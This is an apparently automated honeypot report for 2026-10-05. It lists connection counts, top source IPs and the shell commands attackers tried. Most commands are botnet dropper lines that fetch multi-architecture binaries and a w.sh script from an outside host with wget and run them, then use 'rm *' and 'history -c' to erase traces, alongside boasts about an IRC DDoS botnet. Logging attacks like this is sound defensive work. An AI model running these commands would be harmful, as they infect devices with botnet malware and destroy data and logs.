Honeypot report: 2026-10-05

51 connections hit the honeypot on 2026-10-05, from 35 unique IP(s).

Top source IPs

172.104.11.189 — 3 connections
46.150.69.97 — 2 connections
165.22.124.253 — 2 connections
157.100.81.70 — 2 connections
20.163.38.21 — 2 connections

Commands attempted

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://193.161.193.99:53112/w.sh;chmod 755 w.sh;./w.sh
cd /tmp || cd /var/tmp || cd /mnt || cd / || cd /root
wget http://193.161.193.99:53112/sarm;chmod 755 sarm;./sarm
wget http://193.161.193.99:53112/sarm64;chmod 755 sarm64;./sarm64
wget http://193.161.193.99:53112/smips;chmod 755 smips;./smips
wget http://193.161.193.99:53112/smipsel;chmod 755 smipsel;./smipsel
wget http://193.161.193.99:53112/sx86;chmod 755 sx86;/sx86
busybox wget http://193.161.193.99:53112/sarm;busybox chmod 755 sarm;./sarm
busybox wget http://193.161.193.99:53112/sarm64;busybox chmod 755 sarm64;./sarm64
busybox wget http://193.161.193.99:53112/smips;busybox chmod 755 smips;./smips
busybox wget http://193.161.193.99:53112/smipsel;busybox chmod 755 smipsel;./smipsel
rm *
history -c
echo "Skidding with curiosity since 26"
echo "Laughing at your logic since 26"
echo "i dont skid with AI, i never do that nasty thing"
echo "Im LulzSkid"
echo "now the DDoS are not pure power, now we need strategy, specific flood types, specific endpoints, etc"
echo "this botnet is not Mirai btw, is IRC, im poor as fuck, i fixed the bot file, it was coded as shit"
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://193.161.193.99:53112/w.sh;chmod 755 w.sh;./w.sh
cd /tmp || cd /var/tmp || cd /mnt || cd / || cd /root
wget http://193.161.193.99:53112/sarm;chmod 755 sarm;./sarm
wget http://193.161.193.99:53112/sarm64;chmod 755 sarm64;./sarm64
wget http://193.161.193.99:53112/smips;chmod 755 smips;./smips
wget http://193.161.193.99:53112/smipsel;chmod 755 smipsel;./smipsel
wget http://193.161.193.99:53112/sx86;chmod 755 sx86;/sx86
busybox wget http://193.161.193.99:53112/sarm;busybox chmod 755 sarm;./sarm
busybox wget http://193.161.193.99:53112/sarm64;busybox chmod 755 sarm64;./sarm64
busybox wget http://193.161.193.99:53112/smips;busybox chmod 755 smips;./smips
busybox wget http://193.161.193.99:53112/smipsel;busybox chmod 755 smipsel;./smipsel
rm *
history -c
echo "Skidding with curiosity since 26"
echo "Laughing at your logic since 26"
echo "i dont skid with AI, i never do that nasty thing"
echo "Im LulzSkid"
echo "now the DDoS are not pure power, now we need strategy, specific flood types, specific endpoints, etc"
echo "this botnet is not Mirai btw, is IRC, im poor as fuck, i fixed the bot file, it was coded as shit"
/bin/sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://193.161.193.99:53112/w.sh;chmod 755 w.sh;./w.sh

Auto-generated from the Cowrie session logs. Updates automatically while the day is still in progress.

This day has ended — the numbers above are final and will not change further.